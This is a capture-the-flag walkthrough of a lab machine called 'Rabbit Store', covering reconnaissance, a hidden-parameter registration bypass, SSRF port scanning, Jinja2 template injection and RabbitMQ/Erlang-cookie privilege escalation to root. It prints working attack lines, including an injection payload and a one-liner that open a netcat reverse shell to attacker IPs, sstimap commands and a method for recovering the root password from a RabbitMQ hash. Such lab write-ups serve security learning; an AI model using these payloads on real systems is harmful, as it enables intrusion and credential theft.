Title | Rating |
---|---|
Rabbit Store | Medium |
Recon
Nmap Scan:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cloudsite.thm/
|_http-server-header: Apache/2.4.52 (Ubuntu)
4369/tcp open epmd syn-ack ttl 60 Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
25672/tcp open unknown syn-ack ttl 60
There are some ports open
- Port 22 - SSH
- Port 80 - Apache webserver
- Port 4369 - Erlang Port Mapper Daemon
- Port 25672 - Unknown
We dont have any creds as of now to use ssh
.
The Apache server on Port 80 is redirecting to cloudsite.thm
so lets add the same in /etc/hosts
file:
Enumerating Site on port 80
So we have the site as below:
Directory Fuzzing
Lets run a directory enum in background till we checkout the site:
# main site
gobuster dir -u http://cloudsite.thm -t 100 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# Storage site's API
ffuf -u http://storage.cloudsite.thm/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
login [Status: 405, Size: 36, Words: 4]
register [Status: 405, Size: 36, Words: 4]
docs [Status: 403, Size: 27, Words: 2]
uploads [Status: 401, Size: 32, Words: 3]
Now lets checkout the site.
Some Emails found:
info@smarteyeapps.com
sales@smarteyeapps.com
support@smarteyeapps.com
Create account
Create account button on Home page leads us to below login:
Note make sure to add below domain in
/etc/hosts
We register a test account and the Sign In using the same:
Possible
Admin
user present: (As above message also says)
Testing for error on Logins
Tried to see if we get a different error for incorrect password and valid email but no.
Misc Discoveries
In the directory scan we just get a /assets
dir:
Lets try a vhost
scan:
ffuf -u http://cloudsite.thm -H "Host: FUZZ.cloudsite.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fc 302
storage [Status: 200, Size: 9039, Words: 3183]
We just get the one we already know. So lets move forward.
Testing Port 4369
So this is new to me. I found a hacktricks page on this:
- The Erlang Port Mapper Daemon (epmd) serves as a coordinator for distributed Erlang instances
- It is responsible for mapping symbolic node names to machine addresses, essentially ensuring that each node name is associated with a specific address.
As per our Nmap there is a node named
rabbit
at port 25672
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
- But to exploit this we need a erlang cookie which we don’t have.
Examining login request
Lets capture the login request to see how it works:
- So it calls a API
/api/login
submitting our creds in json format via a POST request. - We do get a
jwt
token, lets check it out in https://jwt.io
Check jwt payload
There is a hidden parameter
subscription
, we can try to send it in the Register form, with its value as active
. Sometimes these hidden paramters are not validated properly we may be able to access the dashboard page.
This is intended registration request.
Testing with Hidden parameter
We inject the parameter subscription
with its value as active
Lets try to login with this now:
And we are in!
In end there is a message:
So, maybe file inclusion wont work.
But we do have a field requesting for a URL, and when ever we see a input asking for URL, we first test for SSRF:
We do get a callback.
Lets do a port scan to see if any ports are open what are not accessible publically.
Firstly we capture above SSRF request in BURP
If port is open we get:
If port is closed we get:
Using this logic, lets craft a ffuf
command:
$ seq 1 65536 > numbers.txt
$
$ ffuf -X POST \
-u http://storage.cloudsite.thm/api/store-url \
-request req \
-w numbers.txt \
-fr "Error storing file from URL"
80
3000
8000
We save the request in req
and create wordlist of numbers for ports.
In Directory fuzzing section we did find a interesting file called api/docs
, lets see if we can get for port 3000
We do get the docs file!
We have seem all API, except there is one “under development” API mentioned, lets see what it gives us
/api/fetch_messeges_from_chatbot
we get “GET is not allowed” lets try POST
We also change the
Content-Type
to json
as with url-encoded post request it was giving us a Internal Server Error
. This is correct, as all API are using Json in this app.
Also lets add the username that the one we created:
The username is directly reflecting in the response. Testing for possible SSTI:
And its vulnerable !
Lets use SSTIMap
python3 sstimap.py -u "http://storage.cloudsite.thm/api/fetch_messeges_from_chatbot" -m POST -H "Content-Type: application/json" --data '{"username": "*"}' -C "jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im1haW5AdGVzdC5jb20iLCJzdWJzY3JpcHRpb24iOiJhY3RpdmUiLCJpYXQiOjE3NDUxNDM4MzMsImV4cCI6MTc0NTE0NzQzM30.m2xGzHo_JJarQIsF_rrWyPMIEVWXlJgVnp6oO76Nt_c" --data-type json
Awesome, we do get a hit!
Lets drop into the shell:
python3 sstimap.py -u "http://storage.cloudsite.thm/api/fetch_messeges_from_chatbot" -m POST -H "Content-Type: application/json" --data '{"username": "*"}' -C "jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im1haW5AdGVzdC5jb20iLCJzdWJzY3JpcHRpb24iOiJhY3RpdmUiLCJpYXQiOjE3NDUxNDM4MzMsImV4cCI6MTc0NTE0NzQzM30.m2xGzHo_JJarQIsF_rrWyPMIEVWXlJgVnp6oO76Nt_c" --data-type json --engine jinja2 --os-shel
l
Another way to get shell:
{"username":"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/bash -i 2>&1\|nc 10.11.72.22 443 >/tmp/f').read() }}"}
We do get shell, but its not very stable. We are not able to change directories as well.
Some basic enum:
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
azrael:x:1000:1000:KLI:/home/azrael:/bin/bash
rabbitmq:x:124:131:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/usr/sbin/nologin
Getting reverse shell to attacker machine
In the shell we go by SSTI, lets send it to our attacker machine
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.17.37.185 9001 >/tmp/f
Keep a nc listener active and we will get the shell back. Stabilize the shell.
Get user.txt flag
Enumerating the box after Foothold
In the /etc/passwd
we see there is a user rabbitmq
at /var/lib/rabbitmq
From the Hacktricks page, we saw that we needed a cookie to exploit this.
Now we have it.
We use erl-matter
repo to get RCE. You can use the cookie and get a shell, but only execute one command to get a decent reverse shell, because the program crashes after 1 command.
Enumerating with rabbitmqctl
:
Beautifying this gives us:
"users": [
{
"hashing_algorithm": "rabbit_password_hashing_sha256",
"limits": {},
"name": "The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.",
"password_hash": "vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K",
"tags": []
},
{
"hashing_algorithm": "rabbit_password_hashing_sha256",
"limits": {},
"name": "root",
"password_hash": "49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF",
"tags": [
"administrator"
]
}
The hash we received is in base64 and according to the RabbitMQ documentation, it follows the structure: base64(<4 byte salt> + sha256(<4 byte salt> + <password>))
.
We decode the base64 first, then covert it to plain(-p
) hex code.
We remove first first 4 bytes and use the rest as password.
We get root!
Thanks!